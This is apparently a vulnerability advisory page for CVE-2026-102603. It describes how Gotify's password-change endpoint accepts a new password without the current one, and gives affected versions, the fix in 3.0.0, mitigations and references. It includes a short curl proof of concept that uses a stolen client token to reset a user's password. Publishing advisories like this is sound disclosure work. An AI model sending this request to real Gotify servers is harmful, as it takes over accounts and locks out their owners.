CVE-2026-102603: Gotify: Insufficiently Protected Password Change endpoint
The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
Published Oct 15, 2026
Affected packages
github.com/gotify/server/v2
- Ecosystem
- Go
- Affected
- <= 2.9.1
- Fixed in
- No patched version yet
- Check
go list -m github.com/gotify/server/v2
github.com/gotify/server/v3
- Ecosystem
- Go
- Affected
- < 3.0.0
- Fixed in
- 3.0.0
- Check
go list -m github.com/gotify/server/v3
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
PoC
# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"
curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OKMitigation
- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
- Restrict access to the state-changing endpoints under
/userand/current/userto trusted networks.
Credited to scumfrog.
References
- https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9
- https://nvd.nist.gov/vuln/detail/CVE-2026-102603
- https://github.com/gotify/server/pull/952
- https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9
- https://github.com/gotify/server/releases/tag/v3.0.0
- https://github.com/advisories/GHSA-3hcj-9m7p-wwm9
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
